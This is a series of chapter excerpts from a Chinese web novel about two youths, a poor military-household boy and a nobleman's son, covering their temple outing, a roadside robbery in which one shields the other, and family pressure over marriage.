等饭的时间有些长,陶修从屋里端出一盘棋打发时间,棋子是他用石头打磨的,表面粗糙,分别用朱砂和墨写了字。 这一投入棋局,公仪林才发现认真谨慎的人做事都很可怕,也不见得陶修走棋水平有多高,但陷入棋局咬指深思的模样就能一眼看出这类人从不会随意应付一件事,认准了就坚持到底。 陶修在深思走棋时,公仪林显得比他还熟虑。 他紧盯陶修的一举一动,咬指甲的幼稚行为他十岁之后就不再干了。上唇微翘,睫毛挺长,眼珠子黑白分明,这五官长相温和青涩,一看就是好欺负的。 “到你了——” 还在偷偷打量陶修的公仪林突然被这一声拉回痴迷的神魂,像被觑了秘密,把棋盘一搅往前一推,心烦意乱道:“不下了,你下棋好磨蹭。” 陶修见棋盘被打乱,无奈笑笑,跟这种人打交道真心觉得害怕:“下得好好的,说翻脸就翻脸。这三分阔的河界应着你深谋大略,棋局中每走一步都印证你这人的心态和谋略,心浮气躁还如何领兵打仗。” “你可高看我了,我从未说过要领兵打仗。” 三人围着破桌吃饭时天已黑得朦胧,得知他们二人明日要去大庙,陶舒 12.密林里的劫匪 《他是小军户》全本免费阅读 两人并未直接去大庙,而是顺着乡野小道策马向东飞驰,他们见路就走,穿过麦田和密林,跨过清溪和矮山,直到东升的太阳逐渐炽热,两匹马累到喷鼻息。 把马拴在小树林的树荫下,公仪林拿了水袋递给陶修,陶修仰头喝了一大口擦擦嘴复还给他:“歇会就直接去大庙,午后日头毒辣,再这样骑下去马也受不了。” “初十真要去江家?” “昨日没言明不去,只能跑一趟弄个明白。” “好,那我十一再回汝丘。” “你要走?” “我答应母亲看完龙舟就回去,沈钟强留我再住一阵子。哪日你去汝丘来找我玩,直接在大门前报上姓名。” 陶修摇头笑道:“别看离的不远,长这么大我都没去过几次汝丘,若有空去了一定登门拜访你。” 这么随口一提,公仪林倒真脑补与他走在汝丘集市上的情形,滔滔不绝介绍他没见过的新奇,再次叮嘱道:“一言为定,一定要来。” 大庙隐藏在茂林之中,远远可见高耸的六角宝塔,寺庙浓郁的香火味道在夏日温热的空气里飘浮缠绕,公仪林见来此烧香的人比几年前多了许多,玩笑道:“我们进去,许久不来说不定里面都四个和尚了。” 不止四个,两人暗暗数到第六个时相视一笑。梵音袅袅,六角宝塔的塔铃在夏日风中发出清脆悠扬的铃音。公仪林以母亲之名供奉香油钱后正是晌午,一个和尚替他们指吃斋的地方。 他以往陪母亲烧香拜佛时从不踏进大殿,殿中的佛像、神明常惊得他一身冷汗,使得他母亲一直自认不够虔诚才叫儿子怕这些神佛。 今儿他把大庙里里外外逛个遍,又去斋堂“胡吃海喝”,他弯眉浅笑端着食案过来问陶修:“有两样斋饭,一桶是素面,一桶是杂菜疙瘩汤,我都盛了些来,你快尝尝。” 陶修从他手中接汤面,见上面放了三块切的方方正正的豆腐,笑道:“我该来做和尚,比我平日吃的还好。” 公仪林愣了一下,随即取笑他:“你可不能来此做和尚,江家不饶你。” 陶修从斋堂的窗子望出去,见香客来往不绝,突然感叹几句“高论”:“二三十年前梁国被迫迁都江陵,兵连祸结战乱不止,百姓为逃避战祸都去做和尚了,好在武皇帝英武雄姿平定战乱,还天下一个太平,如今寺中和尚稀少不失为一件好事。” “你这个乡野小民,都从哪里听来的政事?” “我师父。” “你师父?”公仪林眯起眼重新打量此人,“你果然是个不怀好意的人,居然还有师父!” 两人正是身体蓬勃成长的时候,一碗汤一碗面轮流到老和尚跟前盛斋,直到老和尚把空桶翻个底朝上哼了一声:“没了。” 他们几乎撑到扶墙走路,走出斋堂仰天大笑一阵,在佛塔旁的青檀树下寻个干净地儿坐下,“差点把供奉的香油钱吃回来,你看没看到老和尚的脸色?” “我们险些把老和尚一颗佛心吃的变了质。” 陶修枕着手臂躺在地上闭目睡了一阵,睁开眼发现公仪林盘着腿凝望一角晴空发愣,拽拽他的衣角问:“你府上要你亲自浆洗衣裳?” 公仪林回过神盯着他。 “躺下睡一会再走不迟,你一定没体会过大地为床青天为帐的畅快。” 公仪林当即滚过来和他齐肩并排躺着:“如何没有,谁还不是个淘气的。” 一阵从地下冒上来的寒意浸透肌骨,公仪林浑身冰凉从地上爬起来坐着,天色将晚,他转头欲喊醒陶修,见他气息均匀睡的很沉,额前几缕凌乱的发丝在晚风中招招摇摇。公仪林冷汗涔涔凑近了瞧,这一瞧就再不能否认心里惶惑不安的想法,“得抓紧回汝丘,此人也不必再来拜访我,这个破地方决不能久待。” 暗暗起了不再见陶修的誓,陡然听见他懒懒的声音:“又在发愣,醒了也不叫我。” 公仪林浑身一颤:“我也刚醒。” 暮色四合,两人迅速打马回村,经过来时停留过的杂树林时四野已一片昏暗朦胧,路上行人断绝。 他们毫无戒备将要穿过杂树林,四条大汉赫然出现在前面,猛地惊了公仪林的马匹,那马扬起前蹄把他掀翻在地,昂首嘶鸣一声钻进了林中。 从后面赶上来的陶修一见大汉手中森寒的白刃就知今日又是不宜出行的一天。他夹紧马腹猛击马尾向四人冲撞去,待调转马首把公仪林提上马背时,才发现公仪小子已被刀架了脖子。 四个壮汉把脸用布挡了一半,穿着寻常,陶修借仅存的一丝天光观察四人,其中一人把裤腿卷至小腿,拿刀的手势生涩,毫无习武人对刀剑的熟稔,看来是群临时起意的寻常百姓,并非真正的剪径好汉。 陶修跳下马不急不缓向他们迫近:“诸位有话好说,我们是离此不远玉河村的人,也许平日还照过面,都是团近的人,不如放了我那位朋友,日后再见也不难堪。” 13.他替他挡了刀 《他是小军户》全本免费阅读 一旦沾上人命可就成了汝丘大案,那大哥在杀与不杀此二人的犹豫中思索片刻,用刀指了陶修道:“你方才咬定我们就是团近的人,为了官府不冤枉其他人,你们今夜必须死在这里。” 陶修明白他们的忧虑,若公仪林向他父亲说起此事,公仪曲势必将今晚的事压到县尹县丞头上,他深知那帮人在重压下办案粗暴血腥,为尽快结案难免不徇私枉法栽赃陷害,逮捕玉河村及附近许多无辜的人草草结案。 “他们虽干的是劫掠的恶事,却还有一丝良心。”陶修拽着马又镇定地迈出两步:“我要说的刚才已被表弟说了,马你们牵走,放了他,今晚的事官府绝不会知道,明日起来你们照常种地揽活。” 夜幕深沉,星辉璀璨,五步开外的少年沉着镇定。犹豫再三的盗贼把刀往前捅几下,压低嗓音逼其后退:“容我想一想。”五步的距离令他们烦躁不安。 双方暗中对峙,四面悄然无声,一人又提醒道:“大哥,这个年纪的孩子玩心最大,嗜血猖狂,谁知他们会不会真的放过我们,不如杀掉就地埋了,神不知鬼不觉。”他用刀刃拍打公仪林的脸说:“他确实是公仪家的人,就这身锦衣玉带也假不了。” 大哥猛然惊醒,不待思索举刀就朝公仪林砍下。陶修眼疾手快,纵身一跃不及拔去剑鞘直取“大哥”,朝其举刀的手斩下,林中被沉闷的惨叫震的簌簌发颤。 陶修踢起大哥落地的长刀握在手中,迅速旋身把他放倒在地,刹那间的连串动作令三个临时起意的劫匪目瞪口呆,他们匆忙押着公仪林退后,威胁道:“别动,他的命可在我们手中。” 陶修置若罔闻,手握刀器大步流星跨前两步,借势凌空一跃,一落地就将刀指向一人咽喉,沉声逼迫:“放了他。” 身后响起急切的脚步,他料是踢翻在地的大哥冲了过来,竖耳静听脚步移动的方位,忽出腿攻其下盘,大哥空有一身莽劲,丝毫不抵陶修敏捷灵活的动作,悬空翻仰在地又惨叫一声。 陶修抵在那人咽喉的刀纹丝没动。 几个劫匪大惊失色,打劫竟碰上硬茬。 公仪林的震惊远远大过劫匪,此时的陶修完全不是他认识的人,更不是任人欺凌的放羊少年。林中昏暗不明,他却清清楚楚看见陶修行云流水、凌厉果决的剑招。沈钟总说通往大庙的路上有令人心胆俱寒的“邪祟”,能附了他心魂的“邪祟”不正是此人么。 公仪林惊呆在陶修打斗的英姿中,忽而醒悟此时不是欣赏他出剑的最好时机。面色一沉,浑身血液翻滚,全然不顾脖颈上的利刃,向后一仰猛地挣脱劫匪的钳制。他从未习过武,不知打仗技巧,凭着少年人的横劲扑向匪徒,勒住其咽喉拼命往后拖,被勒了脖子的人挣扎不断,把身子扭得跟蠕虫一样。 陶修此时正以一敌三,左右两边各防一人,脚下还踩着呻/吟的大哥以防他爬起来。 公仪林勒晕那人后立即转身朝陶修左手边的贼人扑去,这个位置极易得手,几乎是送他的临门一脚,踢的贼人趔趄三步一头杵在地上半天没有动静。 一连击败两人的战果令公仪林忘乎所以,甚至抽出一瞬的时间质疑陶修:他可能与我一样,全不是真本领。他的得意忘形很快就露出弱处——被勒晕的人醒了。 这帮人知道陶修难对付,立即把刀刃对准浑身蛮劲、动作笨拙的公子。明晃晃的大刀寒光凌冽,在陶修眼中,这夺命的寒光杀的不止是公仪林,还有他自己。 他两次被大族子弟惩罚都没这样怕过,公仪林直接干系着他自己的性命。在劫匪出刀那一刻出于本能反应,他大喊一声将身一扑,把公仪林扑倒在地护在身下,两把白刃山崩似的从背上砍下。 陶修身体下沉的力道和惊恐的颤抖,以及喉咙生生咽下的痛苦声都使公仪林浑身发颤发麻,他脸色煞白脑中茫然一片,不敢去想陶修被斩为三段的场景,害怕站起来时陶修一截一截从他身上滑落,上下齿打着颤,嚅动嘴唇喊:“康乐,康乐?”他连手都抬不起来。 护在他身上的陶修不但没有断成三截,还被他的无能激发出无可奈何的保护欲,突然搂着他的背就地滚了数圈,迅速躲开又将落刀的位置。 公仪林终于看清安然无恙的陶修拿着断刀从眼前站起来,吐掉口中尘土,扔掉刀柄,亮出一直攥在左手的剑。 “康乐,你没事——”又抖又麻的嘴也只能喊喊他名字。 刚才两刀斩下时,陶修已无任何还手机会,唯将手中的刀举过肩头横在后背赌上一把,一声脆响,刀断为三段,躲过致命一击,好歹护住身下已吓到失言的公仪公子。 陶修没有拔剑,步步生威朝劫匪走去:“在我未出手之前你们还有选择的余地,是抬着他滚,还是等着明日家里人来收尸,自行选择。” 大哥还躺在地上呻/吟,小心翼翼看了眼杵进泥里晕过去的同伙,吃力地爬起来把同伙的身体拖到脚下,做这打劫的事已两载,本以为劫两匹马回去能舒坦半年,谁知……他握刀的手汗涔涔,松开又握,商量着问:“你们会不会去官府告发?” 陶修推开剑鞘,“滚不滚?” “好,我们现在就走。”不管这少年去不去官府报案,他们今晚 14.这是一把木剑 《他是小军户》全本免费阅读 公仪林简单检查他的伤势后朝林中吹声响哨,哨声穿透静谧的杂树林,很快哒哒的马蹄从远处响起。他牵过马托着陶修的腿顺势一提让他上马:“还在流血,我们快回去。” 回哪去?回陶家,他那家徒四壁的屋子不可能有药,回沈家,遭遇劫匪一事若给姑父知晓,铁定也瞒不住父亲,陶修有意放劫匪生路的承诺就要失信,思来想去,还是要去陶家。 马蹄脆生生跑起来,西升的月牙皎洁清晰的嵌在深蓝的天幕中,公仪林紧跟在陶修后面,注视他无畏又韧劲的身影,直到玉河村的几点灯火渐渐落入眼中才放松紧绷的身子。 夜色下陶家的院子只剩下黑漆漆的轮廓,像只潜伏暗中的小兽,下马时公仪林奇怪地问:“才什么时辰陶妹妹就睡下了?” 陶修失笑道:“不一定睡了,只是没有灯。” “没有灯?”公仪林暗骂一句,昨日该把蜡烛或清油都送些来,这种人家怎么要什么没什么。 陶修推开公仪林试图扶他进院的手,非常忧虑地跟他商议说:“时候不早了,你现在就回去,就算为了我也别把今晚的事说给沈钟听。” “我知道。”公仪林走向堂屋轻叩板门,悄声喊:“陶妹妹,陶修回来了。” 陶舒慌忙摸了衣裳穿好,将门打开低声问:“为何回来的这么晚?” 公仪林生怕惊醒堂屋另一端的陶老头,把陶舒拉出槛外低声叮嘱:“我们路上遇到一点意外,陶修伤了后背,你先帮我照顾好他,我去沈家找些药就来,你再烧些热水。” 他一进沈家,灯火通明的大院和陶家漆黑低矮的小屋立时显出天壤之别。公仪林一把逮住沈府老管事的,急问:“哪里有跌伤割破的药,拿来我急用?” 老管事的见他跟家中失了火一样急切,忙问:“小公子你伤了?伤了哪?” “哪那么多废话,快找来给我,把蜡烛也拿来,有多少拿多少。” “好,好。” 公仪林拿上药和蜡烛刚要跑出大门,沈钟从后面追出来大喊一声:“站住!我知道你大了不能管你,今儿一天去了哪,连司子都不肯带上,这么晚还出去,不怕外面的狐媚给骗去?要去哪?” 公仪林边上马边笑道:“好表兄,少问几个问题。今日我去趟大庙替母亲捐香油钱,在寺院睡了一觉睁眼就日落,急着往回赶时陶修给撞下马,身上被尖石豁开这么长一道口子。”他用手夸张地比划一下。 “我就猜到又去找他了,你这人奇怪,怎么就肯跟那种人——” 公仪林打断他:“饭给我留着,送了药我就回来,再帮我准备好浴汤。” 沈钟都还没听清他说什么,连人带马就消失在夜里。 今夜晴朗,月华如水,陶家小院多亏这弯月牙才能做些事情。陶修怕肩头的血弄脏桌椅不好清理,索性蹲靠在绒花树下等着陶舒烧水擦洗伤口。 公仪林走进小院就见陶修可怜兮兮蹲在地上,勾着头昏昏欲睡,他紧抿着唇站了一瞬才走过去轻拍陶修的脸说:“康乐,我回来了,现在可不能睡,我们进屋去。” 陶修的脸在刚点燃的烛火下苍白无神,听见叫声疲惫地睁开眼要站起来,黏稠的血衣却粘在树干上,咬紧牙关一声不吭把衣裳和血肉从树上撕下,额角因剧痛突突跳个不停。 “伤口约四寸,皮开肉绽,你怕不怕?”公仪林吓唬他。 “撑得住。” 进了屋,公仪林命陶舒掌灯,由他亲自给陶修治伤,先用热水洗净的布一点点擦去伤口处的血污,又把从沈家拿来的药膏给他涂上,看似动作熟练,其实粗糙的一塌糊涂,可怜陶修在他自以为精心细致的照顾下一阵阵哆嗦,抓着床沿的手筋骨凸起。 用麻布把伤口裹好扎紧,一通折腾下来公仪林浑身也湿透了,颤颤巍巍放下药瓶宽慰陶修道:“刚才是骗你的,伤口并不深,养几日就该好了。” 他歪头用肩膀擦去脸颊的汗时露出一截脖子,陶舒小声惊呼:“公仪公子,你的脖子?” 陶修陡然慌神翘起半截身子问:“你也伤了?” 陶舒把公仪林按坐在床沿,学他刚才给兄长擦污血的动作一点点触碰着伤口:“你们到底遇到了什么,绝不是从马上摔下来这么简单。” 公仪林和陶修相视一笑,异口同声说:“就是马上摔下的。” 陶舒柔软的小手弄得公仪林脖子又痒又僵,他想起昨日陶修的误会,接过药狠狠挖出一坨糊在伤处,对陶舒笑道:“随便涂涂就好了。有没有饭给你哥拿些来?” “有。” 公仪林从床沿站起来打量这张并不宽敞的小床,试问:“今晚我不走了,跟你挤一挤。” “不行,沈家很快就找来。” “我怕他们?” “我怕他们。” 他在床前蹲下来,神色严肃质问陶修:“你替我挡刀,不怕死吗?” 陶修没有力气与之辩解,把头往枕头上靠了靠,露出右腕上熠熠生光的银镯。相比他成人后的腕骨,这个小时候戴上的镯子早就变小变窄。 公仪林照着银镯轻弹几下,好奇道:“你不像是会戴镯子的人,为何一直没有取下,这和你身世有关?” 肩头肿胀的伤痛使陶修神志懒怠,毫无防备地说起镯子的事:“我偷偷摘下过三次,最长一次是五天,但那五天我都病倒在床上,浑浑噩噩思绪混乱什么都记不起来。阿翁说的对,它与我性命连在一起,我永远逃不掉这里。” “你陶彪给你戴的?”公仪林从他疲惫的眼中看到困惑和无奈,更震惊“锁命镯”并非陶家出于善意想强留下陶修的性命,而是要束缚他的双脚和逃离的想法。 “镯子被施了咒,我走不掉。” 公仪林又凑近了些,声音温柔至极,小声抚慰道:“你有没有想过,困住你的不是镯子,是你对来历不明的身世的恐惧和习惯了陶家对你的掌控?” 陶修闭上双眼不作回答。 蜡烛放在窗前的破书案上,公仪林扫视屋子时发现书案旁陶修与劫匪对峙用的剑,才想起来还有一百个问题没有问,又把他戳得睁开眼,问:“你这身武艺学了几年?跟你师父学的?” 这把剑重量不对,剑鞘为木质,髹涂一层黑亮的大漆,鞘身手握位置雕琢菱纹,抽出剑身时不禁愕然,竟然是把木剑。“康乐?这——”公仪林大为不解,“你就用木剑与他们搏斗?若那三人不肯罢休,你 15.想看你们成亲 《他是小军户》全本免费阅读 面对两个瘫痪在床不能自理的男人,陶舒一整天都在两屋中间奔忙,惆怅地抱怨道:“陶家要真有这么一天,你猜我会怎么做?” 陶修把趴了一天的脖子换个方向,很认真地回道:“你会把我和阿翁都接到你夫家去养老。” “呃——”后腰挨了她重重一掌,她已是及笄之年,是时候给她找好夫家,可惜公仪林的家世太高,有点可惜。 陶修一直躺到第二日傍晚,感觉后背伤口没那么疼时就起来了。穿上衣裳走出屋外,夕阳刚藏于远方的林木之后,天气晴朗舒爽,他坐在绒华树下盯着落日看了许久,忽听见陶彪猛烈的咳嗽,起身往堂屋走去。 陶修与陶彪没有感情,坐在一起相对无言,两人中间有无法化解的刺。陶修初来陶家的前几年备受折磨,被奴役,是廉价的人力,长大后更不解陶家买他回来又不肯把他当人对待的行为。遭受无尽的谩骂和殴打、被同龄人欺侮时,陶彪和早死的养父常以息事宁人的态度把所有过错推到他身上,像训马一样抽打虐待,直到他跪地求饶发誓再不会有下次。 他在陶家的凄惨处境有所转机靠得是师父辛南佐,自拜师那年起,他在陶家渐渐有了人样。 养父死后,陶彪又瘫痪在床,陶修认为离开玉河村的时机已到,可以逃离此处寻找记忆里模糊的萧家,缩在门旁面如土色的陶舒望着他走出院门。 陶修忍不住回头,看见她抱着双膀蹲在门旁被雨水砸出的浅坑里,满眼恐惧,小声哭泣央求:“阿兄,你要丢下我?你走了我怎么办?” 陶舒是他在陶家几年来唯一的暖意,他走后一个半大的姑娘如何才能在乱世中活下去。 陶修在院门前站了很久很久,犹豫迷惘和漫天的雨丝一样让他浑身发冷,身体几乎凝成石雕,他调转脚步,回屋趴在床上大哭一场,而后再没提过离开一事,腕上银镯的符咒在那一刻形成束缚。 陶彪咳的厉害,每咳一下就把干瘦的身子蜷缩起来,陶修把他扶好靠在墙上,轻轻拍打他的胸口。 陶彪缓了一口气后盯着陶修:“你伤了?” “昨晚出去做事,从马上跌了下来。” “我听小舒说你最近和公仪家的小郎君走的近?他为何跟我们这样的人走近,是不是有企图?” “企图?”陶修轻蔑地笑道:“他能有什么企图?图这几间破屋还是图我们贱民的身份?” “他是不是看上小舒了?” 陶修不动声色压下震惊,原来连不能出屋的阿翁都看出来了,若公仪林再来几次恐怕乡邻间就要传出不利于小舒的闲话。 “你和小舒都大了,从小长在一起,彼此什么生性都清清楚楚,我也没几年活头,就想在闭眼前看你们成亲——” 陶修倏地站起来怒瞪着他,两片薄唇在亢奋的情绪下发颤,低吼一声:“阿翁,你究竟想怎样?” 陶彪扯开干裂的嘴大声发笑,笑得直拍墙面,“上次提到这个事你就恼羞成怒,这件事其实便宜了你呀!你清楚陶家家底,小舒也大了,别让旁人捷足先登,早些成亲,你我各自把心中的大石头放下,你还有什么不甘?” 陶修去年第一次听见他提起此事时,肮脏又恶心的话令他浑身发冷,如坠冰窟,一连两日不肯跟陶舒说话,第二次听见时觉得有些对不起小妹,明明是从小一起长大的至亲,陶彪却如此侮辱他们兄妹间的感情。 “我不想在此事上与你争执,但愿你一次也不要在小舒跟前提起,否则永远也别想看见她,玉河村此后不会再有姓陶的。”陶修胸口堵得慌,愤然跨出房门。 “站住!”陶彪喝住他。 陶修扶着门框背对着屋里。 陶彪软下语气说:“我知道你一直都恨我和小舒的父亲,恨我们买了你,难道你没想过即便我们不买也有别的买主,你该恨的是你坎坷的命。” 门边的背影一动不动,隔了片刻才有气无力地问:“这么多年,为何你就不肯说出拐我来此的畜生到底是谁?” “告诉你作甚,你是不是觉得你本该衣食无忧、荣华富贵?我告诉你,你一日是陶家的人就永远是陶家的,别做异想天开的梦了,你的命运早就注定的。” 陶修抓紧右腕变小的索命镯,几乎把腕骨拽断,走出屋外还听见陶彪用浓痰堵塞的胸腔费力沙哑地大喊:“就算我瘫了不能管你,你的命还握在我手中,你可以走,大可以一走了之。” 他坐回绒花树下发呆难过,西边的小路上有两个身影踽踽而来,一个是端着木盆清洗衣裳归来的陶舒,另一个牵马的少年大概是公仪林。 * * * 公仪林和沈钟把汝丘几间铁匠铺都查看过一遍,最终选择一家姓郭的铺子,他昨日连夜画好剑的图样,把剑的形制、尺寸及纹饰一一标注清楚准备在选好的铁铺中锻造成形。 郭记铁铺行的老头有双一看就是吃这碗饭的结实粗壮的手臂,他接过公仪林递过来的图样后爽利地答应五日后可交货。 公仪林仔细检验铁铺内外看是否够格,墙上挂的地上摆的都是些农用、家用铁器,这些器具对铁的要求不高,陨铁或生铁都能铸造,但用一样的材料去铸刀剑却极易折,他端坐在店内最干净的胡凳上冷峻沉稳发问:“不知郭老先生的手艺有多少年了?” 郭老头一提起过往即刻容光焕发,抚过稀疏的胡须笑道:“不是老朽夸口,四十年前就为大梁的军队铸过剑戟,就是凭这身本领在战乱中活到现在,还养了一家老小。” 能为梁师铸兵器说明这老头还有点本领,那可不是随便就能糊弄的工事,公仪林对老头很满意:“老先生的手艺我定然不敢质疑,只是我对此剑的材质有些苛刻。我就直说吧,你要锻的剑会跟随我沙场杀敌,若是铁材选的不好,后果真是——” 沈钟见机适时报出表弟身份。 郭老头初以少年人只是要把剑做做样子,若真到用剑搏命那一刻剑却断了,岂不是给郭家埋了灾祸,他沉思一阵,捋须道:“小郎君想要上等的材料,我这郭记铁铺确实也能给你造一把好剑,只是要花费些时间,价格也贵些。” “只要能锻出好剑,价格请 16.初十来了江家 《他是小军户》全本免费阅读 公仪林一日两趟准时出现在陶家,早该到了回汝丘的日子,不急不躁让司子给母亲去了封信,言说要在姑母家再待八/九日。 陶修的伤口恢复挺快,穿衣自如,精力充沛。 一日午后,三个年纪相仿的人在院中聊起笛子,陶修说可以用屋后的竹子做根竹笛。公仪林爱他各种眼花缭乱的本领,叫他削一根试试。 陶修拿上砍刀刚走出院门,忽瞥到离此不远的黄四娘家屋后站了几个妇人,这是一帮消息灵通堪比斥候的妇人,十里八村大小事无有不知,探子一样来往于村子的各个“据点”互换消息,行为热络嘴巴同样分外热情,陶修不禁为小妹捏把汗,眼下能做的就是把公仪林撵回去。 担心他伤势的公仪林就跟在身后,见他发愣出神,走过来问:“在想什么?挑哪根,让我来砍?” 陶修指着一根粗细匀称的竹子心思不定地说:“就它吧。” 公仪林挥刀就要拦腰砍上去,陶修立即阻止:“错了错了,差点把最好的部分砍掉。” 公仪林砍竹的动作笨拙生涩,陶修笑着接过刀说:“我这刀好像不是面团捏的?”手起刀落一声脆响,竹子断成两截,刀口圆滑整齐,给竹子去掉细枝末节时陶修不得不开口:“槐序,明日起你少来我这里吧,或是一次都不要来。” 公仪林愣了一下,莫名其妙问他:“这是为何?我又干了什么?” “你一日少说也来两趟,乡邻都看在眼中,我不想有关于小舒的流言蜚语。” “流言蜚语?我行得正坐得端,谁在散播流言?”不觉把声音都扬了些。 陶修狠狠斫断竹子最顶端的一截,抬头望着他:“你固然不怕,小舒怎能和你比,你来得越勤就越招眼,你俩自然清白,总不能挨家挨户告诉他们你和小舒是清白的,她在这些流言中不好嫁人。” 公仪林霍一下站起来,此时只恨司子没跟在后面,否则就让他去踢了屋后几个鬼鬼祟祟妇人的据点。 “你若有事找我帮忙就命人传句话,还省你跑腿费劲。” “我找你能有何事?”公仪林冷笑一声,“无非凑在一起谈笑风生,难不成我让下人特意请你去我住处陪我说笑,这像什么话?” “事关小舒的名声我没其他办法。你这些天每趟来都没空过手,对此我十分感激,若有用得着我的地方尽管开口。” 生平第一次遭遇“逐客令”,公仪林又气又惊,暗暗的发闷:不说眼前,就是放眼吴郡,我到任一地方去他们都得客客气气待我,就你这破茅屋金贵,竟敢驱我离开。 “呵,我明白了,我这就走。”脸面实在挂不住,他一脚踢开挡路的碎竹,驻足一瞬,怄一肚子气走了。 “我不是那个意思,槐序,你别多心。”陶修无可奈何,一旦几日后公仪林归家去,他们两条不同路上的人再有交集不知是何时,急忙冲他背影承诺道:“只要用得着处,我一定尽心竭力。” * * * 去桃花亭江家那天,陶修穿了件像样得体的青布衣裳,面料稍厚,已不适合这个季节穿了,但他只有这一件能见客的衣裳。 有一年夏季突降暴雨,把一辆做绸缎生意的马车陷在玉河村外的泥路上。陶修避雨不及从那经过,帮忙把马车拖出泥坑后一直送到大路上,贩货的商人感激少年人的帮忙,把掉进泥水里的几匹青色粗布赠给了他,这些年,陶家兄妹俩就青布衣裳最多。 达到桃花亭时早被这身粗布衣裳闷一身的汗,先去小河边洗脸去去暑气。河水清澈,静静向西流淌,他摘下斗笠放到洗衣裳的青石旁,撸起袖子痛痛快快洗了一把,望着水中的倒影时把自个儿嘲讽一遍:“我是来拒绝江家好意的,还穿成这样是要做什么,难道你心里还有什么念头不成?” 远处的深草中蹲着一个人,陶修擦干脸上的水向他走去:“这位大哥,请问江家怎么走?” 那人从深草里抬起头,是个模样周正的年轻男子,眼睛很亮,嘴唇略厚,十分本分踏实的长相,他摘掉斗笠笑问:“你找江家做什么?” “河水如此澄澈,能钓到鱼吗?” 年轻人拎起放在水中的竹篓显摆:“看,这是什么?” 陶修走近了探头一瞧,竹篓里就孤廖廖一条小鱼。 “跟我走,我带你去江家。” “不必劳烦,你指条路我自己找过去。” “顺路,你找的江家江老爷是我叔父,就在我家隔壁。” “那就多谢了,大哥如何称呼,。” “江良。” 两人就着钓鱼一事一直聊到江家门口。江良让陶修在门外等着,他先进院通报一声。 从外打量,江家虽比不上玉河村沈家,也算高门大户,朱色大门半掩一扇,露出宽敞干净的院落,因子女、妻妾较多,前后共两层厢房才够住人。 不一会江老爷亲自出来迎陶修进了厅堂,态度和语气都很温和平缓,“快进来,外面日头毒辣,进来休息一下。” 屋里清凉洁净,下人替他们倒好放凉的清茶,江良端起茶杯略客气一下一饮而尽,对陶修说:“你走许久的路一定渴了,不必拘谨,我叔父最和善可亲。” 江老爷捋顺衣褶缓缓开口:“一路走过来的?” “是。那日因比赛匆忙,未及问清楚江老爷让我今日来府上的目的,又怕失约给江老爷造成不便,只好来一趟。” 江老爷尴尬地笑笑,嘴里嘟嘟哝哝不肯讲明白:“那日龙舟比赛实在精彩,是汝丘县近些年来难得的盛事,鼓响锣鸣吵的我耳朵嗡嗡几天。”他对身旁的下人努嘴示意他们退下,又笑道:“我一直看着你那支船队,表现可嘉。” 陶修见江老爷不肯明说请自己来的目的,抿着茶水应付一阵,心里犯疑惑:江家家大业大,不可能看上我这样的贱民,可能是我多虑了。 “你阿翁的身体还有没有好转的余地?平日都用哪些药?你年纪轻轻就撑起一个家着实辛苦劳累,是否想过谋个轻松的营生或是早些成家立业,有了贤内助总好过孤木支撑。” 江全似有若无的话陶修已听明白了,沉思一阵后直截了当地给他答复:“阿翁性格孤拐从来不肯服药,除了腰部在战场上受过重伤留下后遗症,精神一向健旺,他常说自己活到八十岁也没问题。江老爷所说的家道清贫难撑,我年轻力胜正是该用力的时候,况且周围都是家境相似的邻里,苦中有乐,并未觉得辛苦。我交了这个夏天就满十七,明年正到投身兵营的年纪,恐怕想谋份好差事也不尽人意。” “好小子!”江全听出他话里都是拒绝的意思,刚才担心直白地说出目的显得自己闺女难嫁人一样,没想到这小子还真不知好歹。江全十分后悔没弄清陶家底细就邀此人上门,他是个军户,江家怎么可能把闺女嫁给一个军户,不,怎么可能招赘一个军户。 江良露出佩服的神色:“看你年纪不大,居然还挑了大梁,厉害。” 陶修勉强笑一下,所谓的厉害不过是迫不得已。 谈话正陷入难堪的境地时,突然从屋外大大方 17.此剑就收下了 《他是小军户》全本免费阅读 自那日茅草屋前的惊鸿一瞥,江良对陶舒念念不忘,辗转反侧三个晚上几乎相思成疾,他跟类似“病症”的江旋一拍即合,一大早就赶车来了陶家。 在陶家院前刚拴好牛车,迎面有人打马而来,一个背剑匣的少年从马上跳下,三人疑惑地对视几眼,微微点头致意。 江家兄妹为这少年让路先行,公仪林也不跟他们客气,昂首阔步走进院中,取了剑匣放在绒花树下的木桌上,高喊一声:“陶康乐。” 他前几天被从陶家“赶走”的怒火烧了两天,越烧越弱,到这第五天终于按捺不住,来之前暗暗发狠,他不自在了一定要登门挑些刺让陶修跟着不自在。 陶家兄妹走出院子,五个人面面相觑。 “这二位是?”公仪林以为江良二人是陶家亲戚,先问了一句。 江良叉手道:“我们是桃花亭江家兄妹。” 公仪林当即明白他们身份,心里冷哼一声:“这才见过几天就抢着上门来看人了。”斜着冷冰冰一对黑眼珠上下滚动打量江旋,头都懒得低一下:此女子模样一般,也还耐看,不知是不是陶修喜欢的那一挂,反正我是看不上的。 没有像样的坐地,陶修将几位安排在破木桌旁坐下,陶舒给他们端茶倒水。 五个并不很熟的年轻人坐在一块,五张嘴都说不出一句利索话,江旋搓着茶杯拘束不安,江良把屁股下板凳坐的哼哼唧唧,陶舒只顾低头窃笑,公仪林面无表情盯着正对面的江旋,盯得人姑娘家毛骨悚然。 “二位是专程来,还是有其他事?”陶修打破尴尬的场面。 他同时得到两个答案,江旋道:“因其他事路过。”江良道:“专程来。” 落音后兄妹俩又同时改换口径,江旋道:“专程来。”江良道:“因其他事路过。” 尴尬的场面一度失控,江旋爆锤堂兄后背使了个白眼,突然大声承认:“我们就是来看你们兄妹。”她的声音爽朗清脆,一点也不招人嫌,耳尖却毛茸茸的发红。 公仪林凑了个热闹,也大声对陶修说:“我跟他们一样,专程来看你。”他明知故问不怀好意地问江旋:“你们是陶家什么亲戚,为何以往我没见过?” 陶舒对他这话挺吃惊的,暗道:公子你也不过来几趟而已,难道就能认全陶家所有亲戚? 江良替堂妹打圆场说:“我与陶修几日前才认识,这趟来是要还他去江家时落下的东西。”说罢从院外牛车上拿出一顶斗笠交给陶修说:“是你的吧?” 公仪林拦截下斗笠,翻来调去看一遍戴在自己头上,冷哼一声:“做的不错,陶修没这个斗笠就出不了门,辛苦二位了。” 